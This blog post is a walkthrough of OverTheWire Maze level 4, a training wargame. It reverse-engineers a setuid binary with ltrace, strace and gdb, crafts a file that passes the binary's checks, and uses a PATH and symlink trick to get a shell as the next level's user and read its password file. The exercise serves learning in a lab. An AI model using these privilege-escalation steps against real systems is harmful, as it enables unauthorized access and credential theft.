OverTheWire.org - Maze - Level 4 Writeup

As in the previous level, let's try to understand what the executable is doing by running it with different parameters and with strace or ltrace:

maze4@maze:~$  /maze/maze4
usage: /maze/maze4 file2check

maze4@maze:~$ /maze/maze4 a
open: No such file or directory

maze4@maze:~$ ltrace /maze/maze4 a
__libc_start_main(0x80485fb, 2, 0xffffd7a4, 0x8048730 <unfinished ...>
open("a", 0, 036777230420)                       = -1
perror("open"open: No such file or directory
)                                   = <void>
exit(-1 <no return ...>
+++ exited (status 255) +++

It seems that it needs one parameter at command line.
When it has, it tries to open it.

So let's create a temporary folder and create a file with some sample content.
Then try to use ltrace again:

maze4@maze:~$ mkdir /tmp/maz4
maze4@maze:~$ cd /tmp/maz4
maze4@maze:/tmp/maz4$ echo AAAA > a
maze4@maze:/tmp/maz4$ ltrace /maze/maze4 a
__libc_start_main(0x80485fb, 2, 0xffffd794, 0x8048730 <unfinished ...>
open("a", 0, 036777230420)                       = 3
__xstat(3, "a", 0xffffd648)                      = 0
read(3, "AAAA\n", 52)                            = 5
lseek(3, 134514513, 0)                           = 134514513
read(3, "", 32)                                  = 0
fwrite("file not executed\n", 1, 18, 0xf7fc5cc0file not executed
) = 18
close(3)                                         = 0
+++ exited (status 0) +++

The program opens the file passed as command line parameter and read 52 bytes of its contents.
Then executes an lseek() on the file: lseek is used to change position inside the file for the next read() or write() operation.

Then it read again from the file, but this time it reads 32 bytes.

So now let's look at the code that reads data from file, skipping the initial and final parts of the code

   0x08048684 <+137>:   push   $0x34
   0x08048686 <+139>:   lea    -0x38(%ebp),%eax
   0x08048689 <+142>:   push   %eax
   0x0804868a <+143>:   pushl  -0x4(%ebp)
   0x0804868d <+146>:   call   0x8048430 <read@plt>
   0x08048692 <+151>:   add    $0xc,%esp
   0x08048695 <+154>:   mov    -0x1c(%ebp),%eax
   0x08048698 <+157>:   push   $0x0
   0x0804869a <+159>:   push   %eax
   0x0804869b <+160>:   pushl  -0x4(%ebp)
   0x0804869e <+163>:   call   0x8048450 <lseek@plt>
   0x080486a3 <+168>:   add    $0xc,%esp
   0x080486a6 <+171>:   push   $0x20
   0x080486a8 <+173>:   lea    -0x58(%ebp),%eax
   0x080486ab <+176>:   push   %eax
   0x080486ac <+177>:   pushl  -0x4(%ebp)
   0x080486af <+180>:   call   0x8048430 <read@plt>
   0x080486b4 <+185>:   add    $0xc,%esp
   0x080486b7 <+188>:   mov    -0x4c(%ebp),%eax
   0x080486ba <+191>:   movzbl -0x31(%ebp),%edx
   0x080486be <+195>:   movzbl %dl,%ecx
   0x080486c1 <+198>:   movzbl -0x30(%ebp),%edx
   0x080486c5 <+202>:   movzbl %dl,%edx
   0x080486c8 <+205>:   imul   %ecx,%edx
   0x080486cb <+208>:   cmp    %edx,%eax
   0x080486cd <+210>:   jne    0x80486fa <main+255>
   0x080486cf <+212>:   mov    -0x84(%ebp),%eax
   0x080486d5 <+218>:   cmp    $0x77,%eax
   0x080486d8 <+221>:   jg     0x80486fa <main+255>
   0x080486da <+223>:   push   $0x8048800

The first read (at line 0x0804868d) reads the first 52 bytes of the file and put them into memory at address [-0x38(%ebp)]

Then eax is pointed to the 29th byte of the buffer ([-0x1c(%ebp)] and is used as parameter for the lseek call on the same file 
So lseek moves the position in the file to the position pointed to the bytes 29th-32nd of the file
If the bytes 29th-32nd of the file contains decimal 50, the lseek will position at 50th bytes of the file.

The following read() reads 32 bytes from the position determined by the lseek().
These 32 bytes are then stored at position [-0x58(%ebp)]

Let's build a file that contains:

  • 28 filling bytes (unused so far) "AAAABBBBCCCC..."
  • 4 bytes filled with value decimal 32  (they will determine an lseek to the 33rd byte of the file) "\x20\x00\x00\x00"
  • some filling charachters from byte 33rd  "ABCDEF...."

maze4@maze:/tmp/maz4$ python -c 'print "AAAABBBBCCCCDDDDEEEEFFFFGGGG\x20\x00\x00\x00ABCDEFGHIJKLMNOPQRSTUVXYWZ"' > a

Then run again the executable with strace:

maze4@maze:/tmp/maz4$ strace /maze/maze4 a
...
read(3, "AAAABBBBCCCCDDDDEEEEFFFFGGGG \0\0\0"..., 52) = 52
lseek(3, 32, SEEK_SET)                  = 32
read(3, "ABCDEFGHIJKLMNOQRSTUVXYWZ\n", 32) = 26
write(2, "file not executed\n", 18file not executed

This confirms that:

  • read first part of the file and stores them in -0x38(%ebp)
  • position to byte 33rd 
  • read from 33rd to 64th and stores them in -0x58(%ebp)


So in memory we will have two buffer:
  • -0x58(%ebp) will contain 32 bytes : ABCDEFGH....
  • -0x38(%ebp) will contain 52 bytes: AAAABBBBCCCCDDDD....

Now let's focus on the code after the read() functions

...
   0x080486b4 <+185>:   add    $0xc,%esp
   0x080486b7 <+188>:   mov    -0x4c(%ebp),%eax
   0x080486ba <+191>:   movzbl -0x31(%ebp),%edx
   0x080486be <+195>:   movzbl %dl,%ecx
   0x080486c1 <+198>:   movzbl -0x30(%ebp),%edx
   0x080486c5 <+202>:   movzbl %dl,%edx
   0x080486c8 <+205>:   imul   %ecx,%edx
   0x080486cb <+208>:   cmp    %edx,%eax
   0x080486cd <+210>:   jne    0x80486fa <main+255>
   0x080486cf <+212>:   mov    -0x84(%ebp),%eax
   0x080486d5 <+218>:   cmp    $0x77,%eax
   0x080486d8 <+221>:   jg     0x80486fa <main+255>
   0x080486da <+223>:   push   $0x8048800
   0x080486df <+228>:   call   0x8048490 <puts@plt>
   0x080486e4 <+233>:   add    $0x4,%esp
   0x080486e7 <+236>:   mov    0xc(%ebp),%eax
   0x080486ea <+239>:   add    $0x4,%eax
   0x080486ed <+242>:   mov    (%eax),%eax
   0x080486ef <+244>:   push   $0x0
   0x080486f1 <+246>:   push   %eax
   0x080486f2 <+247>:   call   0x80484d0 <execv@plt>
...

We see some operations that use data taken from the buffers and a couple of comparisons.
If comparisons fail flow is transferred to <main+255> which write an output and exits.
If both comparison are OK, the flow goes to a puts() and an interesting execve().

We want to reach that execve()

Let's step the execution into lines 0x080486c8  and 0x080486cb;

(gdb) set args a
(gdb) break *0x080486c8
Breakpoint 1 at 0x80486be: file maze4.c, line 54.
(gdb) r
Starting program: /maze/maze4 a

Breakpoint 1, 0x080486c8 in main (argc=2, argv=0xffffd774) at maze4.c:54
54      maze4.c: No such file or directory.
(gdb) info reg
eax            0x504f4e4d       1347374669
ecx            0x42     66
edx            0x43     67


The next istruction multiplies ecx and edx
(gdb) info reg
eax            0x504f4e4d       1347374669
ecx            0x42     66
edx            0x1146   4422

  • ecx and edx contain 0x42 and 0x43 (B and C, which are the 7th and 8th byte of the file)
  • eax contains 0x504f4e4e ("MNOP" little endian): the content of the file stored in position -0x4c(%ebp)
Then the program multiplies ecx and edx, and store the result in edx (line 0x080486c8)
After that, it compares eax with edx.
If they are not equal it exits from program.

So we want to create a file that has a specific content where 7th byte and 8th bytes multiplied are equal to 4 bytes in some other position of the file

As an example we'll put "0xfe" as 7th and 8th bytes (their multiplication give 0xfe04)
and 0x0000fe04 in the location where "MNOP" was.

maze4@maze:/tmp/maz4$ python -c 'print "AAAABBB\xfe\xfeCCCDDDDEEEEFFFFGGGG\x20\x00\x00\x00ABCDEFGHIJKL\x04\xfc\x00\x00QRSTUVXYWZ"' > a
maze4@maze:/tmp/maz4$ gdb /maze/maze4
(gdb) set args a
(gdb) break *(gdb) r
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /maze/maze4 a

Breakpoint 1, 0x080486be in main (argc=2, argv=0xffffd774) at maze4.c:54
54      in maze4.c
(gdb) stepi
0x080486c1      54      in maze4.c
(gdb) stepi
0x080486c5      54      in maze4.c
(gdb) stepi
0x080486c8      54      in maze4.c
(gdb) stepi
0x080486cb      54      in maze4.c
(gdb) stepi
0x080486cd      54      in maze4.c
(gdb) stepi
55      in maze4.c

(gdb) disas main
...
=> 0x080486cf <+212>: mov -0x84(%ebp),%eax 0x080486d5 <+218>: cmp $0x77,%eax 0x080486d8 <+221>: jg 0x80486fa <main+255> 0x080486da <+223>: push $0x8048800 0x080486df <+228>: call 0x8048490 <puts@plt> 0x080486e4 <+233>: add $0x4,%esp 0x080486e7 <+236>: mov 0xc(%ebp),%eax 0x080486ea <+239>: add $0x4,%eax 0x080486ed <+242>: mov (%eax),%eax 0x080486ef <+244>: push $0x0 0x080486f1 <+246>: push %eax

We were able to get past the first comparison/jump.

Now comes the second comparison that compares 0x77 (decimal 119) to the value in memory at -0x84(%ebp)

Let's step in and  see what there is in that memory location:

(gdb) info reg ebp
ebp            0xffffd6d8       0xffffd6d8
(gdb) x/wx 0xffffd654
0xffffd654:     0x0000003b

It contains 0x38 (59 decimal) and with some guessing, we discover that it's the length of the file:

maze4@maze:/tmp/maz4$ ls -la a
-rw-r--r-- 1 maze4 root 59 Jun 20 06:40 a

If we get past this comparison we'll arrive to our execve()

Let's add some filling at the end of the file and retry:

maze4@maze:/tmp/maz4$ python -c 'print "AAAABBB\xfe\xfeCCCDDDDEEEEFFFFGGGG\x20\x00\x00\x00ABCDEFGHIJKL\x04\xfc\x00\x00QRSTUVXYWZ" + "B"*60' > a
maze4@maze:/tmp/maz4$ strace /maze/maze4 a
...
write(1, "valid file, executing\n", 22valid file, executing
) = 22
execve("a", NULL, [/* 18 vars */])      = -1 EACCES (Permission denied)
...

And we triggered the execve() which executes the file itself!

Now putting all the pieces together, we need to build a file that:
  • is 119 bytes long
  • can be executed (i.e. a script)
  • must respect some of the requirements above (7th byte multiplied by 8th bytes....etc..
Let's build this file as a bash script that starts with #!/bin/sh
The 7th byte is an s (0x73) and 8th byte is an h (0x68): their multiplication gives 0x2eb8.
We also need carriage returns for the script

So let's build the file as:
  1. #!/bin/sh                                             (7 bytes)
  2. Carriage return                                   (1 byte)
  3. Command                                          (17 bytes)
  4. Carriage return                                   (1 byte)
  5. Lseek 0x0000020                               (4 bytes)
  6. Filling bytes                                        (12 bytes)
  7. result of multiplication                          (4 bytes)
  8. Filling bytes to reach lenght of 119       (70 bytes)

maze4@maze:/tmp/maz4$ python -c 'print "#!/bin/sh" + "\x0a"+ "AAAAAAAAAAAAAAAAA" +"\x0a"+ "\x20\x00\x00\x00" + "B"*12 + "\xb8\x2e\x00\x00" +"B"*70' > a

maze4@maze:/tmp/maz4$ strace /maze/maze4 a
....
open("a", O_RDONLY)                     = 4
fcntl(4, F_DUPFD, 10)                   = 10
close(4)                                = 0
fcntl(10, F_SETFD, FD_CLOEXEC)          = 0
rt_sigaction(SIGINT, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGINT, {sa_handler=0x555555564ef0, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7ffff7a6d060}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGQUIT, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7ffff7a6d060}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGTERM, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7ffff7a6d060}, NULL, 8) = 0
read(10, "#!/bin/sh\nAAAAAAAAAAAAAAAAA\n \0\0\0"..., 8192) = 119
stat("/usr/local/bin/AAAAAAAAAAAAAAAAA", 0x7fffffffe290) = -1 ENOENT (No such file or directory)
stat("/usr/bin/AAAAAAAAAAAAAAAAA", 0x7fffffffe290) = -1 ENOENT (No such file or directory)
stat("/bin/AAAAAAAAAAAAAAAAA", 0x7fffffffe290) = -1 ENOENT (No such file or directory)
stat("/usr/local/games/AAAAAAAAAAAAAAAAA", 0x7fffffffe290) = -1 ENOENT (No such file or directory)
stat("/usr/games/AAAAAAAAAAAAAAAAA", 0x7fffffffe290) = -1 ENOENT (No such file or directory)

The last 5 lines show that the execution works and performs some stat()

The execution of the script in the file "a" is trying to locate an executable with the name "AAAAAAAAAAAAAA" in the PATH.

 So now let's create a link to the shell and add current directory to PATH:

maze4@maze:/tmp/maz4$ PATH=.:$PATH
maze4@maze:/tmp/maz4$ ln -s /bin/sh AAAAAAAAAAAAAAAAA
maze4@maze:/tmp/maz4$  /maze/maze4 a
valid file, executing
$ id
uid=15004(maze4) gid=15004(maze4) euid=15005(maze5) groups=15004(maze4)
$ cat /etc/maze_pass/maze5
i********o
$

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.